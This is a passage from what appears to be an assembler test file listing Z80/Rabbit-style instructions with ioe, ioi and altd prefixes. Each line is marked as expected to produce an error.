ioe ld c, (iy-128) ; Error
ioe ld d', (hl) ; Error
ioe ld d', (ix) ; Error
ioe ld d', (ix+127) ; Error
ioe ld d', (ix-128) ; Error
ioe ld d', (iy) ; Error
ioe ld d', (iy+127) ; Error
ioe ld d', (iy-128) ; Error
ioe ld d, (hl) ; Error
ioe ld d, (ix) ; Error
ioe ld d, (ix+127) ; Error
ioe ld d, (ix-128) ; Error
ioe ld d, (iy) ; Error
ioe ld d, (iy+127) ; Error
ioe ld d, (iy-128) ; Error
ioe ld de', (-32768) ; Error
ioe ld de', (32767) ; Error
ioe ld de', (65535) ; Error
ioe ld de, (-32768) ; Error
ioe ld de, (32767) ; Error
ioe ld de, (65535) ; Error
ioe ld e', (hl) ; Error
ioe ld e', (ix) ; Error
ioe ld e', (ix+127) ; Error
ioe ld e', (ix-128) ; Error
ioe ld e', (iy) ; Error
ioe ld e', (iy+127) ; Error
ioe ld e', (iy-128) ; Error
ioe ld e, (hl) ; Error
ioe ld e, (ix) ; Error
ioe ld e, (ix+127) ; Error
ioe ld e, (ix-128) ; Error
ioe ld e, (iy) ; Error
ioe ld e, (iy+127) ; Error
ioe ld e, (iy-128) ; Error
ioe ld h', (hl) ; Error
ioe ld h', (ix) ; Error
ioe ld h', (ix+127) ; Error
ioe ld h', (ix-128) ; Error
ioe ld h', (iy) ; Error
ioe ld h', (iy+127) ; Error
ioe ld h', (iy-128) ; Error
ioe ld h, (hl) ; Error
ioe ld h, (ix) ; Error
ioe ld h, (ix+127) ; Error
ioe ld h, (ix-128) ; Error
ioe ld h, (iy) ; Error
ioe ld h, (iy+127) ; Error
ioe ld h, (iy-128) ; Error
ioe ld hl', (-32768) ; Error
ioe ld hl', (32767) ; Error
ioe ld hl', (65535) ; Error
ioe ld hl', (hl) ; Error
ioe ld hl', (hl+127) ; Error
ioe ld hl', (hl-128) ; Error
ioe ld hl', (ix) ; Error
ioe ld hl', (ix+127) ; Error
ioe ld hl', (ix-128) ; Error
ioe ld hl', (iy) ; Error
ioe ld hl', (iy+127) ; Error
ioe ld hl', (iy-128) ; Error
ioe ld hl, (-32768) ; Error
ioe ld hl, (32767) ; Error
ioe ld hl, (65535) ; Error
ioe ld hl, (hl) ; Error
ioe ld hl, (hl+127) ; Error
ioe ld hl, (hl-128) ; Error
ioe ld hl, (ix) ; Error
ioe ld hl, (ix+127) ; Error
ioe ld hl, (ix-128) ; Error
ioe ld hl, (iy) ; Error
ioe ld hl, (iy+127) ; Error
ioe ld hl, (iy-128) ; Error
ioe ld ix, (-32768) ; Error
ioe ld ix, (32767) ; Error
ioe ld ix, (65535) ; Error
ioe ld iy, (-32768) ; Error
ioe ld iy, (32767) ; Error
ioe ld iy, (65535) ; Error
ioe ld l', (hl) ; Error
ioe ld l', (ix) ; Error
ioe ld l', (ix+127) ; Error
ioe ld l', (ix-128) ; Error
ioe ld l', (iy) ; Error
ioe ld l', (iy+127) ; Error
ioe ld l', (iy-128) ; Error
ioe ld l, (hl) ; Error
ioe ld l, (ix) ; Error
ioe ld l, (ix+127) ; Error
ioe ld l, (ix-128) ; Error
ioe ld l, (iy) ; Error
ioe ld l, (iy+127) ; Error
ioe ld l, (iy-128) ; Error
ioe ld sp, (-32768) ; Error
ioe ld sp, (32767) ; Error
ioe ld sp, (65535) ; Error
ioe ldd ; Error
ioe ldd (bc), a ; Error
ioe ldd (de), a ; Error
ioe ldd (hl), a ; Error
ioe ldd a, (bc) ; Error
ioe ldd a, (de) ; Error
ioe ldd a, (hl) ; Error
ioe lddr ; Error
ioe lddsr ; Error
ioe ldi ; Error
ioe ldi (bc), a ; Error
ioe ldi (de), a ; Error
ioe ldi (hl), a ; Error
ioe ldi a, (bc) ; Error
ioe ldi a, (de) ; Error
ioe ldi a, (hl) ; Error
ioe ldir ; Error
ioe ldisr ; Error
ioe lsddr ; Error
ioe lsdr ; Error
ioe lsidr ; Error
ioe lsir ; Error
ioe or (hl) ; Error
ioe or (ix) ; Error
ioe or (ix+127) ; Error
ioe or (ix-128) ; Error
ioe or (iy) ; Error
ioe or (iy+127) ; Error
ioe or (iy-128) ; Error
ioe or a', (hl) ; Error
ioe or a', (ix) ; Error
ioe or a', (ix+127) ; Error
ioe or a', (ix-128) ; Error
ioe or a', (iy) ; Error
ioe or a', (iy+127) ; Error
ioe or a', (iy-128) ; Error
ioe or a, (hl) ; Error
ioe or a, (ix) ; Error
ioe or a, (ix+127) ; Error
ioe or a, (ix-128) ; Error
ioe or a, (iy) ; Error
ioe or a, (iy+127) ; Error
ioe or a, (iy-128) ; Error
ioe res -1, (hl) ; Error
ioe res -1, (hl) ; Error
ioe res -1, (ix) ; Error
ioe res -1, (ix) ; Error
ioe res -1, (ix+127) ; Error
ioe res -1, (ix+127) ; Error
ioe res -1, (ix-128) ; Error
ioe res -1, (ix-128) ; Error
ioe res -1, (iy) ; Error
ioe res -1, (iy) ; Error
ioe res -1, (iy+127) ; Error
ioe res -1, (iy+127) ; Error
ioe res -1, (iy-128) ; Error
ioe res -1, (iy-128) ; Error
ioe res 0, (hl) ; Error
ioe res 0, (ix) ; Error
ioe res 0, (ix+127) ; Error
ioe res 0, (ix-128) ; Error
ioe res 0, (iy) ; Error
ioe res 0, (iy+127) ; Error
ioe res 0, (iy-128) ; Error
ioe res 1, (hl) ; Error
ioe res 1, (ix) ; Error
ioe res 1, (ix+127) ; Error
ioe res 1, (ix-128) ; Error
ioe res 1, (iy) ; Error
ioe res 1, (iy+127) ; Error
ioe res 1, (iy-128) ; Error
ioe res 2, (hl) ; Error
ioe res 2, (ix) ; Error
ioe res 2, (ix+127) ; Error
ioe res 2, (ix-128) ; Error
ioe res 2, (iy) ; Error
ioe res 2, (iy+127) ; Error
ioe res 2, (iy-128) ; Error
ioe res 3, (hl) ; Error
ioe res 3, (ix) ; Error
ioe res 3, (ix+127) ; Error
ioe res 3, (ix-128) ; Error
ioe res 3, (iy) ; Error
ioe res 3, (iy+127) ; Error
ioe res 3, (iy-128) ; Error
ioe res 4, (hl) ; Error
ioe res 4, (ix) ; Error
ioe res 4, (ix+127) ; Error
ioe res 4, (ix-128) ; Error
ioe res 4, (iy) ; Error
ioe res 4, (iy+127) ; Error
ioe res 4, (iy-128) ; Error
ioe res 5, (hl) ; Error
ioe res 5, (ix) ; Error
ioe res 5, (ix+127) ; Error
ioe res 5, (ix-128) ; Error
ioe res 5, (iy) ; Error
ioe res 5, (iy+127) ; Error
ioe res 5, (iy-128) ; Error
ioe res 6, (hl) ; Error
ioe res 6, (ix) ; Error
ioe res 6, (ix+127) ; Error
ioe res 6, (ix-128) ; Error
ioe res 6, (iy) ; Error
ioe res 6, (iy+127) ; Error
ioe res 6, (iy-128) ; Error
ioe res 7, (hl) ; Error
ioe res 7, (ix) ; Error
ioe res 7, (ix+127) ; Error
ioe res 7, (ix-128) ; Error
ioe res 7, (iy) ; Error
ioe res 7, (iy+127) ; Error
ioe res 7, (iy-128) ; Error
ioe res 8, (hl) ; Error
ioe res 8, (hl) ; Error
ioe res 8, (ix) ; Error
ioe res 8, (ix) ; Error
ioe res 8, (ix+127) ; Error
ioe res 8, (ix+127) ; Error
ioe res 8, (ix-128) ; Error
ioe res 8, (ix-128) ; Error
ioe res 8, (iy) ; Error
ioe res 8, (iy) ; Error
ioe res 8, (iy+127) ; Error
ioe res 8, (iy+127) ; Error
ioe res 8, (iy-128) ; Error
ioe res 8, (iy-128) ; Error
ioe res.a -1, (hl) ; Error
ioe res.a -1, (hl) ; Error
ioe res.a -1, (ix) ; Error
ioe res.a -1, (ix) ; Error
ioe res.a -1, (ix+127) ; Error
ioe res.a -1, (ix+127) ; Error
ioe res.a -1, (ix-128) ; Error
ioe res.a -1, (ix-128) ; Error
ioe res.a -1, (iy) ; Error
ioe res.a -1, (iy) ; Error
ioe res.a -1, (iy+127) ; Error
ioe res.a -1, (iy+127) ; Error
ioe res.a -1, (iy-128) ; Error
ioe res.a -1, (iy-128) ; Error
ioe res.a 0, (hl) ; Error
ioe res.a 0, (ix) ; Error
ioe res.a 0, (ix+127) ; Error
ioe res.a 0, (ix-128) ; Error
ioe res.a 0, (iy) ; Error
ioe res.a 0, (iy+127) ; Error
ioe res.a 0, (iy-128) ; Error
ioe res.a 1, (hl) ; Error
ioe res.a 1, (ix) ; Error
ioe res.a 1, (ix+127) ; Error
ioe res.a 1, (ix-128) ; Error
ioe res.a 1, (iy) ; Error
ioe res.a 1, (iy+127) ; Error
ioe res.a 1, (iy-128) ; Error
ioe res.a 2, (hl) ; Error
ioe res.a 2, (ix) ; Error
ioe res.a 2, (ix+127) ; Error
ioe res.a 2, (ix-128) ; Error
ioe res.a 2, (iy) ; Error
ioe res.a 2, (iy+127) ; Error
ioe res.a 2, (iy-128) ; Error
ioe res.a 3, (hl) ; Error
ioe res.a 3, (ix) ; Error
ioe res.a 3, (ix+127) ; Error
ioe res.a 3, (ix-128) ; Error
ioe res.a 3, (iy) ; Error
ioe res.a 3, (iy+127) ; Error
ioe res.a 3, (iy-128) ; Error
ioe res.a 4, (hl) ; Error
ioe res.a 4, (ix) ; Error
ioe res.a 4, (ix+127) ; Error
ioe res.a 4, (ix-128) ; Error
ioe res.a 4, (iy) ; Error
ioe res.a 4, (iy+127) ; Error
ioe res.a 4, (iy-128) ; Error
ioe res.a 5, (hl) ; Error
ioe res.a 5, (ix) ; Error
ioe res.a 5, (ix+127) ; Error
ioe res.a 5, (ix-128) ; Error
ioe res.a 5, (iy) ; Error
ioe res.a 5, (iy+127) ; Error
ioe res.a 5, (iy-128) ; Error
ioe res.a 6, (hl) ; Error
ioe res.a 6, (ix) ; Error
ioe res.a 6, (ix+127) ; Error
ioe res.a 6, (ix-128) ; Error
ioe res.a 6, (iy) ; Error
ioe res.a 6, (iy+127) ; Error
ioe res.a 6, (iy-128) ; Error
ioe res.a 7, (hl) ; Error
ioe res.a 7, (ix) ; Error
ioe res.a 7, (ix+127) ; Error
ioe res.a 7, (ix-128) ; Error
ioe res.a 7, (iy) ; Error
ioe res.a 7, (iy+127) ; Error
ioe res.a 7, (iy-128) ; Error
ioe res.a 8, (hl) ; Error
ioe res.a 8, (hl) ; Error
ioe res.a 8, (ix) ; Error
ioe res.a 8, (ix) ; Error
ioe res.a 8, (ix+127) ; Error
ioe res.a 8, (ix+127) ; Error
ioe res.a 8, (ix-128) ; Error
ioe res.a 8, (ix-128) ; Error
ioe res.a 8, (iy) ; Error
ioe res.a 8, (iy) ; Error
ioe res.a 8, (iy+127) ; Error
ioe res.a 8, (iy+127) ; Error
ioe res.a 8, (iy-128) ; Error
ioe res.a 8, (iy-128) ; Error
ioe rl (hl) ; Error
ioe rl (ix) ; Error
ioe rl (ix+127) ; Error
ioe rl (ix-128) ; Error
ioe rl (iy) ; Error
ioe rl (iy+127) ; Error
ioe rl (iy-128) ; Error
ioe rlc (hl) ; Error
ioe rlc (ix) ; Error
ioe rlc (ix+127) ; Error
ioe rlc (ix-128) ; Error
ioe rlc (iy) ; Error
ioe rlc (iy+127) ; Error
ioe rlc (iy-128) ; Error
ioe rr (hl) ; Error
ioe rr (ix) ; Error
ioe rr (ix+127) ; Error
ioe rr (ix-128) ; Error
ioe rr (iy) ; Error
ioe rr (iy+127) ; Error
ioe rr (iy-128) ; Error
ioe rrc (hl) ; Error
ioe rrc (ix) ; Error
ioe rrc (ix+127) ; Error
ioe rrc (ix-128) ; Error
ioe rrc (iy) ; Error
ioe rrc (iy+127) ; Error
ioe rrc (iy-128) ; Error
ioe sbc (hl) ; Error
ioe sbc (ix) ; Error
ioe sbc (ix+127) ; Error
ioe sbc (ix-128) ; Error
ioe sbc (iy) ; Error
ioe sbc (iy+127) ; Error
ioe sbc (iy-128) ; Error
ioe sbc a', (hl) ; Error
ioe sbc a', (ix) ; Error
ioe sbc a', (ix+127) ; Error
ioe sbc a', (ix-128) ; Error
ioe sbc a', (iy) ; Error
ioe sbc a', (iy+127) ; Error
ioe sbc a', (iy-128) ; Error
ioe sbc a, (hl) ; Error
ioe sbc a, (ix) ; Error
ioe sbc a, (ix+127) ; Error
ioe sbc a, (ix-128) ; Error
ioe sbc a, (iy) ; Error
ioe sbc a, (iy+127) ; Error
ioe sbc a, (iy-128) ; Error
ioe set -1, (hl) ; Error
ioe set -1, (hl) ; Error
ioe set -1, (ix) ; Error
ioe set -1, (ix) ; Error
ioe set -1, (ix+127) ; Error
ioe set -1, (ix+127) ; Error
ioe set -1, (ix-128) ; Error
ioe set -1, (ix-128) ; Error
ioe set -1, (iy) ; Error
ioe set -1, (iy) ; Error
ioe set -1, (iy+127) ; Error
ioe set -1, (iy+127) ; Error
ioe set -1, (iy-128) ; Error
ioe set -1, (iy-128) ; Error
ioe set 0, (hl) ; Error
ioe set 0, (ix) ; Error
ioe set 0, (ix+127) ; Error
ioe set 0, (ix-128) ; Error
ioe set 0, (iy) ; Error
ioe set 0, (iy+127) ; Error
ioe set 0, (iy-128) ; Error
ioe set 1, (hl) ; Error
ioe set 1, (ix) ; Error
ioe set 1, (ix+127) ; Error
ioe set 1, (ix-128) ; Error
ioe set 1, (iy) ; Error
ioe set 1, (iy+127) ; Error
ioe set 1, (iy-128) ; Error
ioe set 2, (hl) ; Error
ioe set 2, (ix) ; Error
ioe set 2, (ix+127) ; Error
ioe set 2, (ix-128) ; Error
ioe set 2, (iy) ; Error
ioe set 2, (iy+127) ; Error
ioe set 2, (iy-128) ; Error
ioe set 3, (hl) ; Error
ioe set 3, (ix) ; Error
ioe set 3, (ix+127) ; Error
ioe set 3, (ix-128) ; Error
ioe set 3, (iy) ; Error
ioe set 3, (iy+127) ; Error
ioe set 3, (iy-128) ; Error
ioe set 4, (hl) ; Error
ioe set 4, (ix) ; Error
ioe set 4, (ix+127) ; Error
ioe set 4, (ix-128) ; Error
ioe set 4, (iy) ; Error
ioe set 4, (iy+127) ; Error
ioe set 4, (iy-128) ; Error
ioe set 5, (hl) ; Error
ioe set 5, (ix) ; Error
ioe set 5, (ix+127) ; Error
ioe set 5, (ix-128) ; Error
ioe set 5, (iy) ; Error
ioe set 5, (iy+127) ; Error
ioe set 5, (iy-128) ; Error
ioe set 6, (hl) ; Error
ioe set 6, (ix) ; Error
ioe set 6, (ix+127) ; Error
ioe set 6, (ix-128) ; Error
ioe set 6, (iy) ; Error
ioe set 6, (iy+127) ; Error
ioe set 6, (iy-128) ; Error
ioe set 7, (hl) ; Error
ioe set 7, (ix) ; Error
ioe set 7, (ix+127) ; Error
ioe set 7, (ix-128) ; Error
ioe set 7, (iy) ; Error
ioe set 7, (iy+127) ; Error
ioe set 7, (iy-128) ; Error
ioe set 8, (hl) ; Error
ioe set 8, (hl) ; Error
ioe set 8, (ix) ; Error
ioe set 8, (ix) ; Error
ioe set 8, (ix+127) ; Error
ioe set 8, (ix+127) ; Error
ioe set 8, (ix-128) ; Error
ioe set 8, (ix-128) ; Error
ioe set 8, (iy) ; Error
ioe set 8, (iy) ; Error
ioe set 8, (iy+127) ; Error
ioe set 8, (iy+127) ; Error
ioe set 8, (iy-128) ; Error
ioe set 8, (iy-128) ; Error
ioe set.a -1, (hl) ; Error
ioe set.a -1, (hl) ; Error
ioe set.a -1, (ix) ; Error
ioe set.a -1, (ix) ; Error
ioe set.a -1, (ix+127) ; Error
ioe set.a -1, (ix+127) ; Error
ioe set.a -1, (ix-128) ; Error
ioe set.a -1, (ix-128) ; Error
ioe set.a -1, (iy) ; Error
ioe set.a -1, (iy) ; Error
ioe set.a -1, (iy+127) ; Error
ioe set.a -1, (iy+127) ; Error
ioe set.a -1, (iy-128) ; Error
ioe set.a -1, (iy-128) ; Error
ioe set.a 0, (hl) ; Error
ioe set.a 0, (ix) ; Error
ioe set.a 0, (ix+127) ; Error
ioe set.a 0, (ix-128) ; Error
ioe set.a 0, (iy) ; Error
ioe set.a 0, (iy+127) ; Error
ioe set.a 0, (iy-128) ; Error
ioe set.a 1, (hl) ; Error
ioe set.a 1, (ix) ; Error
ioe set.a 1, (ix+127) ; Error
ioe set.a 1, (ix-128) ; Error
ioe set.a 1, (iy) ; Error
ioe set.a 1, (iy+127) ; Error
ioe set.a 1, (iy-128) ; Error
ioe set.a 2, (hl) ; Error
ioe set.a 2, (ix) ; Error
ioe set.a 2, (ix+127) ; Error
ioe set.a 2, (ix-128) ; Error
ioe set.a 2, (iy) ; Error
ioe set.a 2, (iy+127) ; Error
ioe set.a 2, (iy-128) ; Error
ioe set.a 3, (hl) ; Error
ioe set.a 3, (ix) ; Error
ioe set.a 3, (ix+127) ; Error
ioe set.a 3, (ix-128) ; Error
ioe set.a 3, (iy) ; Error
ioe set.a 3, (iy+127) ; Error
ioe set.a 3, (iy-128) ; Error
ioe set.a 4, (hl) ; Error
ioe set.a 4, (ix) ; Error
ioe set.a 4, (ix+127) ; Error
ioe set.a 4, (ix-128) ; Error
ioe set.a 4, (iy) ; Error
ioe set.a 4, (iy+127) ; Error
ioe set.a 4, (iy-128) ; Error
ioe set.a 5, (hl) ; Error
ioe set.a 5, (ix) ; Error
ioe set.a 5, (ix+127) ; Error
ioe set.a 5, (ix-128) ; Error
ioe set.a 5, (iy) ; Error
ioe set.a 5, (iy+127) ; Error
ioe set.a 5, (iy-128) ; Error
ioe set.a 6, (hl) ; Error
ioe set.a 6, (ix) ; Error
ioe set.a 6, (ix+127) ; Error
ioe set.a 6, (ix-128) ; Error
ioe set.a 6, (iy) ; Error
ioe set.a 6, (iy+127) ; Error
ioe set.a 6, (iy-128) ; Error
ioe set.a 7, (hl) ; Error
ioe set.a 7, (ix) ; Error
ioe set.a 7, (ix+127) ; Error
ioe set.a 7, (ix-128) ; Error
ioe set.a 7, (iy) ; Error
ioe set.a 7, (iy+127) ; Error
ioe set.a 7, (iy-128) ; Error
ioe set.a 8, (hl) ; Error
ioe set.a 8, (hl) ; Error
ioe set.a 8, (ix) ; Error
ioe set.a 8, (ix) ; Error
ioe set.a 8, (ix+127) ; Error
ioe set.a 8, (ix+127) ; Error
ioe set.a 8, (ix-128) ; Error
ioe set.a 8, (ix-128) ; Error
ioe set.a 8, (iy) ; Error
ioe set.a 8, (iy) ; Error
ioe set.a 8, (iy+127) ; Error
ioe set.a 8, (iy+127) ; Error
ioe set.a 8, (iy-128) ; Error
ioe set.a 8, (iy-128) ; Error
ioe sla (hl) ; Error
ioe sla (ix) ; Error
ioe sla (ix+127) ; Error
ioe sla (ix-128) ; Error
ioe sla (iy) ; Error
ioe sla (iy+127) ; Error
ioe sla (iy-128) ; Error
ioe sra (hl) ; Error
ioe sra (ix) ; Error
ioe sra (ix+127) ; Error
ioe sra (ix-128) ; Error
ioe sra (iy) ; Error
ioe sra (iy+127) ; Error
ioe sra (iy-128) ; Error
ioe srl (hl) ; Error
ioe srl (ix) ; Error
ioe srl (ix+127) ; Error
ioe srl (ix-128) ; Error
ioe srl (iy) ; Error
ioe srl (iy+127) ; Error
ioe srl (iy-128) ; Error
ioe sub (hl) ; Error
ioe sub (ix) ; Error
ioe sub (ix+127) ; Error
ioe sub (ix-128) ; Error
ioe sub (iy) ; Error
ioe sub (iy+127) ; Error
ioe sub (iy-128) ; Error
ioe sub a', (hl) ; Error
ioe sub a', (ix) ; Error
ioe sub a', (ix+127) ; Error
ioe sub a', (ix-128) ; Error
ioe sub a', (iy) ; Error
ioe sub a', (iy+127) ; Error
ioe sub a', (iy-128) ; Error
ioe sub a, (hl) ; Error
ioe sub a, (ix) ; Error
ioe sub a, (ix+127) ; Error
ioe sub a, (ix-128) ; Error
ioe sub a, (iy) ; Error
ioe sub a, (iy+127) ; Error
ioe sub a, (iy-128) ; Error
ioe xor (hl) ; Error
ioe xor (ix) ; Error
ioe xor (ix+127) ; Error
ioe xor (ix-128) ; Error
ioe xor (iy) ; Error
ioe xor (iy+127) ; Error
ioe xor (iy-128) ; Error
ioe xor a', (hl) ; Error
ioe xor a', (ix) ; Error
ioe xor a', (ix+127) ; Error
ioe xor a', (ix-128) ; Error
ioe xor a', (iy) ; Error
ioe xor a', (iy+127) ; Error
ioe xor a', (iy-128) ; Error
ioe xor a, (hl) ; Error
ioe xor a, (ix) ; Error
ioe xor a, (ix+127) ; Error
ioe xor a, (ix-128) ; Error
ioe xor a, (iy) ; Error
ioe xor a, (iy+127) ; Error
ioe xor a, (iy-128) ; Error
ioi adc (hl) ; Error
ioi adc (ix) ; Error
ioi adc (ix+127) ; Error
ioi adc (ix-128) ; Error
ioi adc (iy) ; Error
ioi adc (iy+127) ; Error
ioi adc (iy-128) ; Error
ioi adc a', (hl) ; Error
ioi adc a', (ix) ; Error
ioi adc a', (ix+127) ; Error
ioi adc a', (ix-128) ; Error
ioi adc a', (iy) ; Error
ioi adc a', (iy+127) ; Error
ioi adc a', (iy-128) ; Error
ioi adc a, (hl) ; Error
ioi adc a, (ix) ; Error
ioi adc a, (ix+127) ; Error
ioi adc a, (ix-128) ; Error
ioi adc a, (iy) ; Error
ioi adc a, (iy+127) ; Error
ioi adc a, (iy-128) ; Error
ioi add (hl) ; Error
ioi add (ix) ; Error
ioi add (ix+127) ; Error
ioi add (ix-128) ; Error
ioi add (iy) ; Error
ioi add (iy+127) ; Error
ioi add (iy-128) ; Error
ioi add a', (hl) ; Error
ioi add a', (ix) ; Error
ioi add a', (ix+127) ; Error
ioi add a', (ix-128) ; Error
ioi add a', (iy) ; Error
ioi add a', (iy+127) ; Error
ioi add a', (iy-128) ; Error
ioi add a, (hl) ; Error
ioi add a, (ix) ; Error
ioi add a, (ix+127) ; Error
ioi add a, (ix-128) ; Error
ioi add a, (iy) ; Error
ioi add a, (iy+127) ; Error
ioi add a, (iy-128) ; Error
ioi altd adc (hl) ; Error
ioi altd adc (ix) ; Error
ioi altd adc (ix+127) ; Error
ioi altd adc (ix-128) ; Error
ioi altd adc (iy) ; Error
ioi altd adc (iy+127) ; Error
ioi altd adc (iy-128) ; Error
ioi altd adc a, (hl) ; Error
ioi altd adc a, (ix) ; Error
ioi altd adc a, (ix+127) ; Error
ioi altd adc a, (ix-128) ; Error
ioi altd adc a, (iy) ; Error
ioi altd adc a, (iy+127) ; Error
ioi altd adc a, (iy-128) ; Error
ioi altd add (hl) ; Error
ioi altd add (ix) ; Error
ioi altd add (ix+127) ; Error
ioi altd add (ix-128) ; Error
ioi altd add (iy) ; Error
ioi altd add (iy+127) ; Error
ioi altd add (iy-128) ; Error
ioi altd add a, (hl) ; Error
ioi altd add a, (ix) ; Error
ioi altd add a, (ix+127) ; Error
ioi altd add a, (ix-128) ; Error
ioi altd add a, (iy) ; Error
ioi altd add a, (iy+127) ; Error
ioi altd add a, (iy-128) ; Error
ioi altd and (hl) ; Error
ioi altd and (ix) ; Error
ioi altd and (ix+127) ; Error
ioi altd and (ix-128) ; Error
ioi altd and (iy) ; Error
ioi altd and (iy+127) ; Error
ioi altd and (iy-128) ; Error
ioi altd and a, (hl) ; Error
ioi altd and a, (ix) ; Error
ioi altd and a, (ix+127) ; Error
ioi altd and a, (ix-128) ; Error
ioi altd and a, (iy) ; Error
ioi altd and a, (iy+127) ; Error
ioi altd and a, (iy-128) ; Error
ioi altd bit -1, (hl) ; Error
ioi altd bit -1, (hl) ; Error
ioi altd bit -1, (ix) ; Error
ioi altd bit -1, (ix) ; Error
ioi altd bit -1, (ix+127) ; Error
ioi altd bit -1, (ix+127) ; Error
ioi altd bit -1, (ix-128) ; Error
ioi altd bit -1, (ix-128) ; Error
ioi altd bit -1, (iy) ; Error
ioi altd bit -1, (iy) ; Error
ioi altd bit -1, (iy+127) ; Error
ioi altd bit -1, (iy+127) ; Error
ioi altd bit -1, (iy-128) ; Error
ioi altd bit -1, (iy-128) ; Error
ioi altd bit 0, (hl) ; Error
ioi altd bit 0, (ix) ; Error
ioi altd bit 0, (ix+127) ; Error
ioi altd bit 0, (ix-128) ; Error
ioi altd bit 0, (iy) ; Error
ioi altd bit 0, (iy+127) ; Error
ioi altd bit 0, (iy-128) ; Error
ioi altd bit 1, (hl) ; Error
ioi altd bit 1, (ix) ; Error
ioi altd bit 1, (ix+127) ; Error
ioi altd bit 1, (ix-128) ; Error
ioi altd bit 1, (iy) ; Error
ioi altd bit 1, (iy+127) ; Error
ioi altd bit 1, (iy-128) ; Error
ioi altd bit 2, (hl) ; Error
ioi altd bit 2, (ix) ; Error
ioi altd bit 2, (ix+127) ; Error
ioi altd bit 2, (ix-128) ; Error
ioi altd bit 2, (iy) ; Error
ioi altd bit 2, (iy+127) ; Error
ioi altd bit 2, (iy-128) ; Error
ioi altd bit 3, (hl) ; Error
ioi altd bit 3, (ix) ; Error
ioi altd bit 3, (ix+127) ; Error
ioi altd bit 3, (ix-128) ; Error
ioi altd bit 3, (iy) ; Error
ioi altd bit 3, (iy+127) ; Error
ioi altd bit 3, (iy-128) ; Error
ioi altd bit 4, (hl) ; Error
ioi altd bit 4, (ix) ; Error
ioi altd bit 4, (ix+127) ; Error
ioi altd bit 4, (ix-128) ; Error
ioi altd bit 4, (iy) ; Error
ioi altd bit 4, (iy+127) ; Error
ioi altd bit 4, (iy-128) ; Error
ioi altd bit 5, (hl) ; Error
ioi altd bit 5, (ix) ; Error
ioi altd bit 5, (ix+127) ; Error
ioi altd bit 5, (ix-128) ; Error
ioi altd bit 5, (iy) ; Error
ioi altd bit 5, (iy+127) ; Error
ioi altd bit 5, (iy-128) ; Error
ioi altd bit 6, (hl) ; Error
ioi altd bit 6, (ix) ; Error
ioi altd bit 6, (ix+127) ; Error
ioi altd bit 6, (ix-128) ; Error
ioi altd bit 6, (iy) ; Error
ioi altd bit 6, (iy+127) ; Error
ioi altd bit 6, (iy-128) ; Error
ioi altd bit 7, (hl) ; Error
ioi altd bit 7, (ix) ; Error
ioi altd bit 7, (ix+127) ; Error
ioi altd bit 7, (ix-128) ; Error
ioi altd bit 7, (iy) ; Error
ioi altd bit 7, (iy+127) ; Error
ioi altd bit 7, (iy-128) ; Error
ioi altd bit 8, (hl) ; Error
ioi altd bit 8, (hl) ; Error
ioi altd bit 8, (ix) ; Error
ioi altd bit 8, (ix) ; Error
ioi altd bit 8, (ix+127) ; Error
ioi altd bit 8, (ix+127) ; Error
ioi altd bit 8, (ix-128) ; Error
ioi altd bit 8, (ix-128) ; Error
ioi altd bit 8, (iy) ; Error
ioi altd bit 8, (iy) ; Error
ioi altd bit 8, (iy+127) ; Error
ioi altd bit 8, (iy+127) ; Error
ioi altd bit 8, (iy-128) ; Error
ioi altd bit 8, (iy-128) ; Error
ioi altd cp (hl) ; Error
ioi altd cp (ix) ; Error
ioi altd cp (ix+127) ; Error
ioi altd cp (ix-128) ; Error
ioi altd cp (iy) ; Error
ioi altd cp (iy+127) ; Error
ioi altd cp (iy-128) ; Error
ioi altd cp a, (hl) ; Error
ioi altd cp a, (ix) ; Error
ioi altd cp a, (ix+127) ; Error
ioi altd cp a, (ix-128) ; Error
ioi altd cp a, (iy) ; Error
ioi altd cp a, (iy+127) ; Error
ioi altd cp a, (iy-128) ; Error
ioi altd dec (hl) ; Error
ioi altd dec (ix) ; Error
ioi altd dec (ix+127) ; Error
ioi altd dec (ix-128) ; Error
ioi altd dec (iy) ; Error
ioi altd dec (iy+127) ; Error
ioi altd dec (iy-128) ; Error
ioi altd inc (hl) ; Error
ioi altd inc (ix) ; Error
ioi altd inc (ix+127) ; Error
ioi altd inc (ix-128) ; Error
ioi altd inc (iy) ; Error
ioi altd inc (iy+127) ; Error
ioi altd inc (iy-128) ; Error
ioi altd ld a, (-32768) ; Error
ioi altd ld a, (32767) ; Error
ioi altd ld a, (65535) ; Error
ioi altd ld a, (bc) ; Error
ioi altd ld a, (bc+) ; Error
ioi altd ld a, (bc-) ; Error
ioi altd ld a, (de) ; Error
ioi altd ld a, (de+) ; Error
ioi altd ld a, (de-) ; Error
ioi altd ld a, (hl) ; Error
ioi altd ld a, (hl+) ; Error
ioi altd ld a, (hl-) ; Error
ioi altd ld a, (hld) ; Error
ioi altd ld a, (hli) ; Error
ioi altd ld a, (ix) ; Error
ioi altd ld a, (ix+127) ; Error
ioi altd ld a, (ix-128) ; Error
ioi altd ld a, (iy) ; Error
ioi altd ld a, (iy+127) ; Error
ioi altd ld a, (iy-128) ; Error
ioi altd ld b, (hl) ; Error
ioi altd ld b, (ix) ; Error
ioi altd ld b, (ix+127) ; Error
ioi altd ld b, (ix-128) ; Error
ioi altd ld b, (iy) ; Error
ioi altd ld b, (iy+127) ; Error
ioi altd ld b, (iy-128) ; Error
ioi altd ld bc, (-32768) ; Error
ioi altd ld bc, (32767) ; Error
ioi altd ld bc, (65535) ; Error
ioi altd ld c, (hl) ; Error
ioi altd ld c, (ix) ; Error
ioi altd ld c, (ix+127) ; Error
ioi altd ld c, (ix-128) ; Error
ioi altd ld c, (iy) ; Error
ioi altd ld c, (iy+127) ; Error
ioi altd ld c, (iy-128) ; Error
ioi altd ld d, (hl) ; Error
ioi altd ld d, (ix) ; Error
ioi altd ld d, (ix+127) ; Error
ioi altd ld d, (ix-128) ; Error
ioi altd ld d, (iy) ; Error
ioi altd ld d, (iy+127) ; Error
ioi altd ld d, (iy-128) ; Error
ioi altd ld de, (-32768) ; Error
ioi altd ld de, (32767) ; Error
ioi altd ld de, (65535) ; Error
ioi altd ld e, (hl) ; Error
ioi altd ld e, (ix) ; Error
ioi altd ld e, (ix+127) ; Error
ioi altd ld e, (ix-128) ; Error
ioi altd ld e, (iy) ; Error
ioi altd ld e, (iy+127) ; Error
ioi altd ld e, (iy-128) ; Error
ioi altd ld h, (hl) ; Error
ioi altd ld h, (ix) ; Error
ioi altd ld h, (ix+127) ; Error
ioi altd ld h, (ix-128) ; Error
ioi altd ld h, (iy) ; Error
ioi altd ld h, (iy+127) ; Error
ioi altd ld h, (iy-128) ; Error
ioi altd ld hl, (-32768) ; Error
ioi altd ld hl, (32767) ; Error
